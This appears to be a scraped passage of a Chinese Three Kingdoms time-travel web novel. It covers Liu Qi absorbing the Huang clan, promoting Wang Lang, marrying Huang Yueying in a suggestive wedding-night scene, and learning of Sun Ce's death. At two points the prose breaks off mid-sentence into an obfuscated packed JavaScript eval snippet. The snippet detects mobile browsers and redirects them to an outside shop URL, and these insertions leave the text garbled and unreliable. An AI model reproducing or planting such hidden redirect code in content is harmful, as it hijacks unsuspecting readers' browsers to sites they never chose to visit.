接着诸葛亮为刘琦分析道:“主公,黄氏举族归顺,献安陆以为根基,此乃大利。” “而黄公之女,亮亦素闻其贤明聪慧,颇有才识。此姻若成,则黄家尽可安心,其在江夏十余年所积人脉根基,皆可为主公所用,于快速安定江北,有莫大助益。” “亮以为,此议……可准。”诸葛亮语气平稳,听不出半分私人情绪。 庞统在一旁看得分明,他可不知刘琦心中那点“历史梗”,只觉此事妙极,击掌笑道:“妙啊!主公!黄家这是彻底拜服于主公威仪之下,连掌上明珠都心甘情愿献上!” “主公,此乃王霸之气所向,人心天命所归!纳此淑女,便尽得江夏士民之心,如此一本万利,主公还需犹豫什么?合该当仁不让!” 庞统这话说得豪迈直白,将联姻的**效益与刘琦的个人魅力都捧到了顶峰。 刘琦听着庞统的话,再看一眼旁边神色如常、仿佛事不关己的诸葛亮,心中那股荒诞的恶趣味几乎要满溢出来。 刘琦忍笑意,清了清嗓子,决断道:“士元所言,话糙理不糙。既然如此,这份‘厚礼’,我便却之不恭了。” “即刻回信告知黄家,他们的诚意,我收下了。具体事宜,待安陆安定后再议。” “主公英明!” 刘琦随即下令:“传我命令,明日清晨,全军开赴安陆城外五里处驻扎,不许扰民。另外,派人回信给承彦先生,就说我刘琦以江夏太守之名承诺,必定以诚相待,不辜负黄家归顺的情义。” ----- 次日清晨,安陆城门缓缓开启,城门内外,一片肃穆。 以黄射为首的黄家核心子弟与主要族老,皆身着素服,为表敬意,黄射等人出城五里,静候于官道旁迎接刘琦。 不一会。 远处的地平线上,先是传来低沉而有节奏的马蹄声与脚步声,紧接着,一面“刘”字大纛与“江夏太守”的官旗率先映入眼帘。 旌旗之下,一支军容严整,甲胄鲜明的队伍缓缓行来。 队伍前方,一匹神骏的白马格外醒目,马背上端坐一人,身着亮银甲胄,外罩锦袍,腰佩长剑,英姿勃发,正是江夏太守刘琦。 刘琦容貌本就如其父刘表般俊朗英挺,昔年刘表以“八俊“之名闻达于天下,其风仪气度堪称当世楷模,刘琦身为长子,自然继承了这份出众的相貌。 此刻刘琦虽未着冠冕,仅束发披甲,但眉眼间的肃穆与那份沉淀下来的威仪,却已颇具一方之主的气度。 刘琦目光扫过安陆城郭与城外迎接的人群,虽未刻意施压,那不怒自威的气势却已自然流露,令黄氏众人心中愈发庄重。 而刘琦其身后半步,左侧是羽扇纶巾,气度雍容的诸葛亮,右侧则是目光锐利,身形精干的庞统。 大军于百余步处悄然肃立,行列齐整,鸦雀无声,唯有旗帜在晨风中猎猎作响,一股肃杀之气在空气中弥漫开来,但却并无寻常得胜之师的骄狂与逼人杀气。 黄射见刘琦已至,立刻整顿身上麻衣,上前数步,于道中躬身长揖,声音恭谨:“安陆黄射,谨代表黄氏一族,恭迎太守大驾!” “我黄氏愿举族归顺听从太守号令,共保江夏安宁。” 刘琦下马,快步上前,亲手扶起黄射,目光扫过黄射身上的麻衣,语气温和中带着几分慨叹:“黄少族长孝期在身,何必行此大礼?” “黄将军(指黄祖)为国捐躯,琦亦深感痛心。今黄少族长能识大体,顾大局,使江夏免于内耗,此乃黄将军在天之灵所愿见,亦是江夏之幸也。” 刘琦这番话说得极为得体,既肯定了黄射的孝道,也褒奖了他的选择,更将黄祖之死拔高到“为国捐躯”的位置,给了黄家足够的台阶和面子。 黄射被亲手扶起,听着这意料之外的理解与尊重,而非胜利者的训诫与威压,心中那因**和不甘而冻结的块垒,此刻竟真的松动、消融了几分。 一股混杂着感激、释然的情绪涌上黄射心头。 黄射后退一步,再次深深一揖,这一次,姿态更为诚恳: “主公体恤至此,射....感激涕零!往事已矣,射与黄氏一族,别无他念,唯有效死力以报主公今日之情义!” 刘琦颔首,当众朗声道:“好!我得黄氏之助,如虎添翼!黄射听令!” “射在!” “黄氏归顺,于稳定江北功莫大焉。今特表黄射为江夏郡功曹,协助郡丞,典掌郡内选举、考课事宜,望你秉公办事,不负所托!” 功曹乃郡府要职,掌人事之权。 刘琦将此职授予首个归顺的黄家,其“千金买马骨”之意昭然若揭。 此举不仅安了黄家之心,更是给所有观望的江北世家看的。 黄射身躯微震,立刻深深一揖:“射,谢主公信重!必当恪尽职守,以报知遇之恩!” 黄射这一声“主公”,叫得比方才更为心悦诚服。 此间事了,现场氛 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既知刘琦不肯入城,黄射当即便传下族令:“速调族中仆役、青壮,备粟米五百石、肥豕百十口、醇酿三十坛,再携薪柴,陶具,尽数送往太守军营,犒劳将士,此乃射聊表寸心,望太守万勿推辞。” 此番好意,刘琦并未拒绝,颔首道:“如此,便有劳黄氏了,琦代麾下将士,谢过黄氏盛情。” 黄射指令既出,安陆城门顿时车马云集。 黄家的仆役们推着粮车,扛着酒坛,族中青壮牵着肥豕,担着薪柴,队伍蜿蜒如长蛇,自城中绵延至城外营地。 随后,刘琦引黄射至城西高阜之地,指此处道:“此地地势干爽,视野开阔,又临汉水支流,取水便利,且易守难攻,正适合扎营。” 黄射连声赞同,当即遣族中熟稔地形者,协助刘琦麾下将士伐木立栅,掘壕固垒。 不多时,营寨的木栅已立起丈余高,壕沟亦掘得深阔,炊烟自营中升起,与城中送来的酒肉香气交织,一派整肃而融洽之景。 正当营中气氛热烈之际,斥候引着一员风尘仆仆的将领前来中军大帐禀报:“主公,章陵领军校尉王朗在外求见。” 这王朗,本是刘琦当初自襄阳南下江夏,途径鄀国县时,彼时刘琦采纳诸葛亮声东击西之策。 于是刘琦便让王朗前往章陵,领其四千郡兵走随县,再沿涢水南下,一方面佯动吸引周瑜江东军注意力,一方面也是解了安陆黄家之危局,同时也有效牵制了当时围困安陆的江东偏师。 后来周瑜主力收缩至夏口,江东军势仍大,王朗所部多为郡国兵,战力不及荆州精锐,加之未得刘琦进一步指令,王朗便顺势在安陆附近驻扎下来,一面监视夏口方向,一面等待刘琦下一步的军令。 刘琦闻言,便立即召见。 没一会儿,王朗大步走进帐里,甲胄还穿在身上,脸上的风尘都没洗,抱拳行礼:“朗拜见主公!听说主公已率主力到了安陆,朗特地来听候调遣!” 刘琦见他这般忠诚勤勉,语气温和:“王校尉辛苦了,前番你从涢水迂回,牵制敌军,帮着稳住了安陆的局势,此番功不可没。” 刘琦略作沉吟,声音提高,确保帐内其余诸将校皆能听闻,“你本为校尉,然此番用兵,洞察时机,果断出击,于大局颇有助益。” “今特擢升你为扬武校尉,望你再接再厉,整军经武,日后随我克复江夏,再立新功!” “扬武”虽为杂号,却也是实实在在的升迁,更是对王朗前番功(苦)劳的公开肯定。 王朗闻言,先是一怔,随即脸上涌现激动与难以置信之色。 王朗自付之前因粮草之事曾与刘琦有隙,前次分兵,王朗本以为乃刘琦不欲己常在眼前,故被打发至章陵独领一军,名为偏师,实近疏远。 却不意刘琦竟全然不计前嫌,反明察己之微劳,且不吝封赏! 王朗心中霎时被一股愧疚与感激交织的情绪充满,立刻推金山倒玉柱般单膝跪地,抱拳过头,声音因激动而略带哽咽: “末将……末将王朗,谢主公恩赏!朗……朗往日……主公不以朗鄙陋,信重有加,今又擢升厚赏,朗纵肝脑涂地,亦难报主公恩义于万一!” “朗必誓死效忠,严格操练部卒,以待主公驱策!” (本章完) 第38章惊!孔明竟然吃这么好! 刘琦见王朗神色恳切,眼底再无半分犹疑,知他已是真心归附,当即上前一步,亲手将王朗扶起,语气温和却掷地有声:“王校尉这话见外了。过去的事不必再提,我向来只看人才,赏罚也只**过,怎会因旧怨误了公事?” “你肯尽心效力,便是国之干城。望你往后莫要辜负这‘扬武’的名号,早日把队伍练出模样来。” 王朗听得这话,心中一热,肃然拱手应诺。 先前压在心头的顾虑与隔阂,此刻尽数消散,只剩满腔热血,只想着往后定要拼死效命,才不负刘琦这份信任。 之后刘琦又问起夏口敌军的动向,还有安陆周边的情形,王朗都一一仔细作答,直到暮色渐起,才告退回营,一门心思整顿兵马,备战待敌。 经这么一提拔奖赏,不光王朗愈发忠心踊跃,帐下其他将领看主公这般有胸襟,重功臣、明赏罚,也都跟着振奋起来,营中士气顿时高涨不少。 私下里人人都在琢磨:“主公这气度,真是难得!赏罚这般分明,跟着他准没错。” 还有人暗道:“连王朗这种曾有过节的人,立了点功劳就被提拔,我往后多拼些力气,还怕没机会建功立业?” 这边军心刚稳,刘琦又惦记起安陆的根基——如今黄家已经归附,把安陆打造成江北的核心据点,已是刻不容缓的事。 第二天一早,刘琦就在安陆城内临时设下的郡府里,召集文武百官,当众宣布任命。 刘琦先是看向诸葛亮,神色郑重:“孔明,安陆刚平定,到处都是要收拾的烂摊子,江北各县的政务、赋税、粮草调度,桩桩件件都缠在一块儿,非得有大才来统筹不可。” “我现在任命你为江夏郡郡丞,总揽民政,赶紧把生产恢复起来,把各县的资源整合好,给大军稳住后方,备好粮草。” 诸葛亮躬身接令,脸上不见丝毫慌乱,只平静道:“亮定不辱主公所托。” 诸葛亮心里清楚,收服人心固然重要,但更得靠实打实的物资保障和秩序重建——没了这些,再稳固的人心也撑不住。 刘琦任命一落地,诸葛亮立刻住进郡府,一头扎进堆积如山的文书里。 诸葛亮先把安陆及周边各县还在任的官吏叫来,一一询问情况,接着贴出安民告示,让百姓安心,然后再去核查田亩户籍,清点粮仓里的存粮,顺便诸葛亮还抽空规划起通往夏口前线的粮道和物资中转站。 而诸葛亮做事又快又有条理,那些原本还慌慌张张的江夏各县旧吏看了,都暗自惊叹,心里的不安渐渐消散,一个个都乖乖听令办事。 如此忙三四日,诸葛亮总算是将政务捋顺,会盟之事亦安排妥当。 是日,安陆城外的会盟现在,与其说是会盟,不如说是一场刘琦实力的展示。 平野之上,盟台高筑,旌旗猎猎。 刘琦麾下的精锐甲士肃然列阵,戈戟如林,在阳光下闪烁着冷冽的寒光。 没有喧哗,只有战马偶尔的响鼻和旗帜被风扯动的声音,凝重的肃杀之气弥漫开来,压在每一个赴会者的心头。 来自西陵的李氏、竟陵的吴氏、邾县的陈氏等豪族族长,以及苏飞、张威等黄祖旧部,在走入这片会场时,原本心中那份因刘琦年轻而产生的轻视与不服,瞬间被这无声的军威碾得粉碎。 他们之前或多或少存着周瑜般的心思,觉得刘琦不过是仗着父荫,一纸调令便想来夺江夏权柄的稚子,心中自有傲气与算计。 但此刻,亲眼见到这军容鼎盛、令行禁止的强军,感受到那扑面而来的压迫感,他们才骇然发现,自己错得离谱。 这刘琦,绝非易于之辈!此次安陆会盟他不是来请求,而是来宣告! 而当他们看到身为前任江夏太守之子、根基最深的安陆黄氏少族长黄射,如今已身着官袍,以新任功曹的身份恭立在刘琦下首时,最后一点观望和侥幸也彻底烟消云散。 连最强的地头蛇黄家都已彻底拜服,他们还有什么资格端架子? 巨大的心理转变,让这些原本心高气傲的世家家主、黄祖旧部们,在面向盟台上那个身影时,不由自主地弯下了腰,目光中充满了敬畏与顺从。 而刘琦也没有多余的废话,只是重申了保全各家利益、共抗江东的承诺,并正式宣布了对苏飞、张威等旧部的安置。 整个会盟过程简洁、高效,充满了不容置疑的权威。 无人提出异议。 这一切,与周瑜预想中江北世家各自为政、乃至对刘琦阳奉阴违的局面截然不同。 江北的人心,在绝对的实力的威慑与明确的利益许诺下,迅速汇聚。 会盟顺利得超乎想象,江北防务,就此底定。 会盟顺利,原本江北紧绷的局势骤然松弛下来。 而刘琦见大局初定,便顺势将迎娶黄月英之事提上日程。 此举既是为了履行前约,彻底绑定黄家,亦是想借此喜庆之事,进一步冲散黄祖战败带来的颓丧之气,凝聚人心。 于是,数日后,整个安陆城便沉浸在一片前所未有的喜庆之中。 太守府门前车水马龙,城内主要街道皆张灯结彩,披红挂绿。 迎亲的队伍声势浩大,锣鼓喧天,唢呐齐鸣,几乎让全城百姓都知晓了这场江夏之主与本地望族的盛大联姻。 流水席从府内摆到府外,酒肉的香气与鼎沸的人声交织,宣告着权力的平稳交接与新秩序的诞生。 这盛大的场面,与其说是刘琦张扬,不如说是安陆黄家为了彰显与新任太守的紧密联盟,以及因家主黄祖新丧,唯恐江北各家因此轻视黄家,故而倾全族之力操办,意在向所有人宣告:黄家与太守已成姻亲,地位非但未曾动摇,反而更为尊隆。 为此,黄家几乎动用了全族的人脉与财力。 是夜,江夏太守府新房内,红烛高燃,将布置一新的喜房映照得温暖而朦胧。 而窗外隐约传来的喧嚣更衬得此处静谧,唯有烛芯偶尔噼啪作响。 当刘琦应酬完前院的宾客,带着些许酒意,步入洞房。 先映入眼帘的,是满室高悬的红绸与张贴的喜字,将新房装点得喜庆非常。 然而刘琦的目光只在这些布置上一掠而过,便看向坐在榻边那道头顶大红盖头,身着凤冠霞帔的窈窕身影。 在酒意的作用下,刘琦只觉得烛光为那端庄而坐的身影勾勒出一圈柔和光晕,大红嫁衣衬得她姿态愈发端庄,隐约可见玲珑曲线。 纵是隔着盖头看不见容貌,单是这份娴静优雅的姿态,已让刘琦心头微动(一档)。 看着那身影,刘琦心中因酒意而起的些微醺感瞬间消散,取而代之的是一种混合着期待与忐忑的复杂心绪。 不过,看着那道曲线玲珑的身影,刘琦又忽然觉得,即便这黄月英真如传闻所说容貌有缺,单凭这窈窕身段也勉强能接受了。 毕竟是**联姻,不能要求太多嘛。 刘琦这般想着,心中那份忐忑倒是去了大半,取而代之的是一种平静的接受。 刘琦深吸一口气,走到新娘面前,温声道:“夫人,久等了。” 说着,刘琦伸出手,轻轻揭开了那方红盖头。 盖头翩然滑落。 下一刻,刘琦的呼吸为之一滞,心跳竟漏了一拍。 烛光下,呈现在刘琦面前的并非传闻中不堪的容貌,而是一张令人惊艳的容颜。 黄月英肌肤白皙胜雪,在红烛映照下泛着莹润光泽。 鼻梁高挺精致,唇形饱满如花瓣,微微抿着。 最让刘琦注目的是那一头微带卷曲的蜜棕色长发,光泽流转,宛若金丝。 以及那双在烛光下显得深邃明亮的眼眸——眼窝轮廓带着明显的异域风情,却更添独特韵味。 黄月英这哪里是丑陋? 这分明是糅合了东西方优点、极具辨识度的混血容颜! 放在刘琦来的那个时代,是足以引领风潮的顶级建模脸、高级感超模! 刘琦眼中的惊艳与愕然毫无掩饰。 黄月英微微抬眸,对上刘琦直愣愣的目光,白皙的脸颊上瞬间飞起两抹红云,更添娇艳。 面对刘琦的错愕,黄月英似乎早已习惯了他人初次见到自己容貌时的反应,眼中闪过一丝不易察觉的黯然。 但此刻面对的是她将要托付终身的夫君,这份黯然又掺杂了别样的心绪。 想起出嫁前族中老妪隐晦教导的床笫之事,黄月英只觉耳根发烫,身子都不自觉地绷紧了起来。 既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591502|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为即将到来的亲密而忐忑羞怯,但心底却又不受控制地生出一丝属于新嫁娘的朦胧期待。 “夫君......”黄月英声如蚊蚋,在刘琦灼灼目光下羞得低下头去,露出一段白皙的颈子。 “别动。” 刘琦的声音带着笑意,轻轻托起黄月英的下巴,仔细端详着这张完全出乎刘琦预料的脸:“世人愚昧,有眼无珠......竟将明珠诬作瓦砾。” 这话入耳,黄月英娇躯微颤。 黄月英自幼便因这头异色卷发、这双深邃眼眸受尽旁人异样目光。 莫说寻常农户见了她要指指点点,便是族中同龄人也多有疏远。 久而久之,丑陋二字如同烙印般刻在她心上。 此刻听到刘琦这般直白的夸赞,黄月英第一反应是惶恐,莫非夫君是在说反话? 是以,黄月英下意识地想要避开刘琦的视线,双目也微微闪躲。 可当黄月英,目光看见双眼时,却愣住了。 在刘琦的目光里,黄月英没有见到她**以为常的惊异、嫌恶,甚至没有半分勉强。 只有纯粹的惊艳,毫不掩饰的欣赏,还有一丝她看不懂的、仿佛寻得珍宝般的喜悦。 这...这是真心话? 一时间,一股从未有过的暖流涌上黄月英心头。 从小到大,除了父亲黄承彦,从未有男子用这样的目光看过她,更不曾有人如此坚定地告诉黄月英——你是明珠,非是瓦砾。 原本因**联姻而生出的那点疏离与忐忑,在这一刻冰雪消融。 黄月英忽然觉得,能嫁给眼前这个懂得欣赏她的刘琦,或许是上天对她过往所有委屈的补偿。 黄月英不再躲闪,而是勇敢地迎上刘琦的目光,轻声道:“夫君...当真如此觉得?” 这一问里,有试探,有期待,更有初萌的情意。 刘琦并没有回应,而是望着这张糅合了东西方优点的绝色容颜,刘琦心头忽然闪过一个古怪的念头,忍不住低声道:“孔明那小子...居然吃得这么好。” 刘琦这话说得没头没脑,黄月英先是一怔,随即眼中闪过一丝狡黠。 黄月英非但没有像寻常新妇那般羞得不敢抬头,反而微微歪着头,故作天真地问道:“夫君是说宴席上的菜肴吗?妾身听说,诸葛先生与诸位将士用的都是同样的膳食呀。” 刘琦被她这机灵的反问逗得几乎笑出声来,连忙轻咳一声掩饰:“夫人说得是,确实是一样的膳食。” 刘琦目光落在黄月英含笑的眉眼间,忽然发现自己这位娘子不仅容貌出众,更是聪慧灵动,懂得用这般巧妙的方式接话化解二人初次见面、即将行夫妻之礼的这份陌生与生疏。 黄月英见刘琦忍俊不禁的模样,便知道自己这番“努力”没有白费,心中那份新嫁娘的忐忑不觉消散了几分,也抿唇轻笑出来。 红帐内烛影摇曳,原先那份因陌生而产生的距离感,因这笨拙却真诚的互动悄然消融,被一种轻松而暧昧的氛围所取代。 刘琦看着黄月英这迥异于寻常闺秀的模样,心中春意大动。 当即,刘琦俯身,吹熄了最近的几根红烛,只留远处一盏 “夫人,夜深了。” 刘琦带着笑意凑到黄月英面前。 在昏黄的烛光中,刘琦俯身将黄月英打横抱起。 黄月英轻呼一声,下意识环住刘琦的脖颈,知道接下来要干什么的黄月英,娇羞的将脑袋埋进刘琦怀中,只觉得刘琦的气息让她一阵目眩神迷。 刘琦抱着黄月英走进床榻坐下,低头看着怀中人儿连耳根都红透的模样,喉结不自觉地滚动了一下。 黄月英在刘琦怀中微微颤抖,用细若蚊吟的声音怯生生道: “夫君……请怜惜……” 这一声恳求,既带着少女初夜的惶恐,又满含着对夫君全然的信任。 刘琦动作一顿,道了句“别怕”后拉上了芙蓉帐。 红帐轻摇,烛影低垂。 芙蓉帐内黄月英衣衫半解间,露出一段莹白的肩颈,眼中水光潋滟,呼吸渐渐急促。 两人的呼吸交织在一起,在静谧的夜里格外清晰。 芙蓉帐内,只余缠绵的喘息与摇曳的烛影。 (本章完) 第39章 孙翊酒恨纵逃卒,孙策身死震安陆 就在刘琦于安陆会盟江北世家豪强,并与黄月英新婚燕尔之时。 汉水下游的夏口临近长江一侧的水门在夜色中悄然吊起闸门。 而随着闸门吊起,几艘江东快船如幽灵般顺着水流驶出,在特意压制声响之下,就连城头巡视的士卒都未曾惊动。 船上不见灯火,唯有船桨破水的轻响,在黑夜中船队唯有借着天上微弱的月光与和头船上有一盏用来指引方向的灯火,在江面上顺着水流向着江东方向而去。 船队正中那艘最大的快船上,一具漆黑的棺椁被牢牢固定在船舱内,周围站立着数名孙策生前的亲兵护卫。 而作为此行的统领或者说负责人孙翊却并未在船舱内为大哥孙策守灵。 而是一人独自靠在船舷边,手中拎着一个酒囊,已然饮下了大半。 浓烈的酒气混杂着江风的湿腥,却吹散不开孙翊眉宇间那阴郁与愤懑。 护送兄长灵柩返回故里,这本是至亲之责,但在孙翊被权力边缘化的此刻,这趟旅程更像是一场放逐。 孙翊仰头又灌了一口,辛辣的液体灼烧着喉咙,也烧灼着孙翊那颗不甘的心。 就在孙翊醉眼朦胧地望向渐远去的夏口城墙时,数个黑影正利用绳索悄无声顺着城墙外侧的阴影地滑下。 落地后,他们迅速隐入江边的芦苇丛,随即传来轻微的水声,显然是早有准备,登上了藏匿的小舟。 “哼。” 孙翊从鼻子里发出一声冷哼,嘴角扯起一丝讥诮,“还没接战,腿脚倒挺快。” 在孙翊看来,兄长新丧,军中有些贪生怕死之辈逃离,再正常不过。 借着月光孙翊至少看到七八个人爬下城墙钻入芦苇丛。 如今孙翊自身被放逐,哪还有心思去管这些逃走的士卒? 孙翊扭过头,不再关注那几艘划入江水逃遁的小船,只将满腹的怨怼与不甘,投向船舱内那具冰冷的棺椁。 然而,逃卒这边的动静虽轻,却也并非没有人发现。 “叔弼!”一个沉肃的声音自身侧响起。 张昭显然得到其余士卒禀报,不知何时出现在孙翊身侧。 见孙翊一身酒气加之放任士卒逃走,于是张昭语气里带着几分严厉:“刚才临阵脱逃的士卒你既已看见,为何不下令拦截?” “纵容此风,军心何以维系?” 孙翊正自烦闷,被张昭这般质问,心头的火气“腾”地窜起。 孙翊转过身面对张昭,眼中压抑许久的愤懑几乎要喷涌而出,声音也拔高了几分:“张公!拦截?以何名目拦截?我如今不过是一护送兄长灵柩的闲人,军中调度,自有二兄与周公瑾主持,走脱几个蠹虫,何须我来操心!” 孙翊话语中的怨气扑面而来,张昭闻言,面色更加沉郁。 张昭深吸一口气,压下心中的失望,目光盯着孙翊:“三公子!此言差矣!你乃伯符亲弟,吴侯至亲!” “纵无兵权在手,亦为江东孙氏子弟,军中见弊,岂能因私愤而袖手旁观?” “此等逃卒,若任其流散,必摇动军心根本,且若被刘琦斥候捕获,泄露了主公……泄露了伯符之事,则夏口危矣,江东危矣!届时,你纵在吴郡,又能独善其身吗!” 张昭这番话如当头棒喝,让孙翊浑身一震。 孙翊张了张嘴,想要反驳,却发现张昭所言句句在理,字字诛心。 孙翊的理智告诉他,张昭的担忧不无道理,放任逃卒确有可能泄露军机。 可那股被边缘化的怨气,那份被指派护送灵柩的**感,在喝了酒后无限放大在孙翊的内心。 “凭什么?凭什么我都被驱逐回吴郡了,还要我替他们操心?” 这个念头在孙翊心中疯狂叫嚣。 张昭见孙翊这般模样,知孙翊已理屈,当即不再多言,转身对左右厉道:“速派快艇追击,将那些逃卒尽数擒回,立斩江边,以儆效尤!” “诺!” 张昭命令被迅速执行。 护卫驾驶两艘快船如离弦之箭冲出,不久,远处便传来几声短促的惨叫与兵刃入肉的闷响,随即恢复了寂静。 追击的快船返回复命,护卫言称五名逃卒已尽数伏法。 张昭面色稍缓,但张昭急于护送孙策灵柩返回吴郡稳定大局,见逃卒已被处置,便未再下令仔细搜索江岸芦苇深处,确认是否有漏网之鱼。 但张昭并不知道,先前滑下城墙的逃卒中,有一对叔侄尤为机警。 他们下到江边后,并未立刻登船,而是凭借对地形的熟悉,潜藏在茂密的芦苇深处,屏息观察。 他们亲眼目睹了同伴被追上并处决的整个过程,吓得面无人色,直到张昭的船队重新起航,远远消失在夜色中,他们才敢稍微喘息。 而这一切,皆冷眼旁观。 这一切,醉意醺然的孙翊其实心中有数。 孙翊模糊记得,滑下城墙的黑影似乎不止被处决的那些。 但孙翊只是冷眼看着张昭派人追击、处决,自始至终都未曾开口提醒张昭。 在孙翊想来,走脱一两个微不足道的逃卒又能如何? 难道他孙翊,还要去帮那将自己排除在外的新朝肃清军纪不成? 孙翊心中充斥着不平与怨恨,将这小小的疏漏,视作了一种无言的对抗。 但孙翊并不知道,这个因他的私心而留下的疏漏,那对侥幸存活的叔侄,将会在不久的将来,带来怎样的波澜。 安陆会盟的成功,如同一块巨石投入原本暗流汹涌的江夏政局,激起了巨大的涟漪。 刘琦以刘表嫡子、新任江夏之主的名义,稳住了最大的地头蛇黄家,又借黄家的归附之势,顺势将江北诸多观望的世家豪族、黄祖旧部初步凝聚起来。 连日来,安陆城内宾主尽欢(至少表面如此),刘琦忙于接见各方代表,巩固这来之不易的联盟,与诸葛亮、庞统商议着如何将“屯田固本、编练乡勇”的方略落到实处。 然而,就在会盟结束后第三日的清晨,一阵急促的马蹄声踏碎了安陆短暂的平静。 衙署内刘琦与诸葛亮,庞统商议军务之际,门外的亲兵引着一名风尘仆仆的信使快步走入。 “主公,沙羡陈应派来信使,说有紧急军情禀报!” 刘琦抬首:“讲。” 信使气喘吁吁,脸色因激动和疲惫而涨红,“五日前....我军在江南岸巡哨时,截获了两名自称从夏口逃出的江东兵卒!” “陈校尉已初步讯问,觉此事关系重大,不敢专决,特命小人火速送回,并言....言此二人供称,夏口城内似有巨变! 刘琦眉头一挑,放下手中正在批阅的关于屯田区域的竹简:“哦?巨变?” “你且细细说来。” 诸葛亮和庞统也停下了交谈,目光聚焦过来。 信使吸了一口气,平复一下急奔后的喘息,声音也因激动而微微发颤: “那二人....那二人言道,近日孙策憩室守卫异常森严,是以军中流言四起,皆因...皆因他们的主公,吴侯孙策...” 信使顿了顿“箭疮崩裂,高烧数日,已于五日前,在夏口衙署内....薨了!” “如今是孙策之弟,孙权接掌江东大位,但孙权秘不发丧,已经派其弟孙翊与老臣张昭,带着三百亲卫,伪装成粮队,护送孙伯符的灵柩悄悄返回江东去了!” “算起来,灵柩队伍出发....至少已有四五日了!” 信使此言一出,厅内霎时一静。 刘琦听完,脸上的表情瞬间凝固,露出了极度震惊、几乎不敢相信自己耳朵的神情。 “什么?孙伯符……**?!” 刘琦脸上的满是震惊之色猛地从席上站起,动作之大,险些带翻了面前的案几。 案上的茶盏摇晃,溅出的水渍浸湿了摊开的江夏舆图一角,但刘琦却浑然未觉。 孙策死亡的这个消息实在太过让人震惊了。 在刘琦的记忆里,或者说在刘琦所知的“历史”中,那位叱咤江东的“小霸王”孙策,应当是在日后死于许贡门客复仇的冷箭之下。 可刘琦万万没想到的是,自己这只意外闯入此世的“蝴蝶”,仅仅是在津乡射出的那一箭,竟然又改变了历史的走向,让孙策的命运轨迹彻底偏离,提前陨落在这夏口城中! 刘琦震惊过后,一丝错失良机的惋惜涌上心头。 刘琦下意识地抬手,轻轻拍了拍额头。 “四五日前.....那就是我从沙羡移师安陆的时候....” 刘琦喃喃自语,语气中带着一些错失良机的惋惜: “若当时能知道孙策已死,江东军群龙无首,军心必然大乱,那我挥师猛攻,说不定便可趁此良机,一举拿下夏口,定鼎江夏!何须在安陆与江北诸世家虚与委蛇?” 刘琦越想越觉得可惜,脸上神色也略显复杂。 而一旁的诸葛亮与庞统对视一眼,也都从对方眼中看到了同样的惋惜。 二人虽不知刘琦心中那关于改变“历史”的惊涛骇浪,但作为顶尖的谋士,二人同样立刻意识到自己错过了一个趁敌内乱、速战速决的宝贵窗口。 诸葛亮见刘琦神色有异,沉默不语,担心刘琦过于沉浸在惋惜之中,便上前一步,羽扇轻抬,语气柔和的劝慰道:“主公,机会已失,纵使嗟叹,亦无法令时光倒流,此间叹息徒耗心神尔。当务之急,乃向前看。” 而庞统思路敏捷,迅速从现状中剖析出对己方有利的态势。 是以庞统也接口道: “孔明兄所言极是,错失良机虽然人叹息,但此事对我军而言,未必全是坏事。” “至少,通过这几名逃卒,我等可确定三事:其一,江东军内部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591503|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并非铁板一块,矛盾已生,否则不至有士卒冒死叛逃!” “其二,孙权新立,首要之事必然是巩固权位,稳定内部,其对外策略,料想短期内会以固守夏口为主,绝不敢贸然出击。” “这其三嘛.....” 庞统顿了顿,“我等已初步整合江北,站稳了脚跟。如今敌守我进,敌静我动,时间在我!天时已转而利于我,我等正可从容布局。” 诸葛亮颔首,顺着庞统的话继续分析,为刘琦描述出未来的蓝图:“士元所言皆切中要害。” “如今江北世家归心,人心可用,我们正可趁江东军龟缩夏口、无力外顾之时,大刀阔斧推行屯田之策,编练新附之军。” “待我粮草充足,兵强马壮,再图夏口,而我军则根基稳固,胜算倍增。届时,我军进可攻,退可守,不必再仰赖江陵或襄阳粮草接济,方为长久自立之道。” 听到诸葛亮、庞统冷静而富有远见的分析,刘琦深吸一口气,从那份震惊与短暂的惋惜中出来。 刘琦脸上的复杂神色褪去,取而代之的是一种洞察局势后思虑。 刘琦摆了摆手,甚至露出一丝复杂的笑容:“二位先生多虑了,琦并非一味懊悔,只是震惊于孙伯符之死,想他号称‘小霸王’,纵横江东,所向披靡,何等英雄了得!” “却没想到,竟与其父一般,亡于箭矢之下……真可谓天意难测,英雄气短!” 刘琦先是感叹了一句,随即目光一凝,孙策既然**,那先前定制的战略便要有所改变。 少倾。 刘琦脑海中思路已然清晰,便开始下达命令:“孔明、士元之见,正合我意!既然强攻时机已失,我便与孙权比拼内政、根基!” “传令沙羡陈应,命其择机将营寨前移,于江南岸择险要处立寨,与夏口隔江对峙,多布旌旗,广派斥候,日夜袭扰,并设法招降城中动摇之士卒!务必从这些叛逃士卒口中,将夏口城防细节、粮草囤积、将领关系等,尽数拷问清楚!” “同时,士元,你与汉升率水师,前出至夏口水域,摆出进攻姿态,与江北王朗、江南陈应,三面遥相呼应,对夏口形成威压之势!” “再传令西陵苏飞,命其伺机而动,袭扰江东军往来粮道,断其补给!” 刘琦一条条命令清晰明确,瞬间将刘琦军的战略重心从之前的准备强攻转向了稳固根基、长期施压与内部瓦解的战略。 诸葛亮与庞统见刘琦如此快便调整好心态,并快速做出了应对部署,二人眼中都露出赞赏之色,齐齐躬身:“主公英明,我等领命!” 待二人领命离去部署后,刘琦这才起身回到后堂。 黄月英早已闻讯等候在此,见刘琦归来,立即迎上前来。 “夫君这便要动身了?” 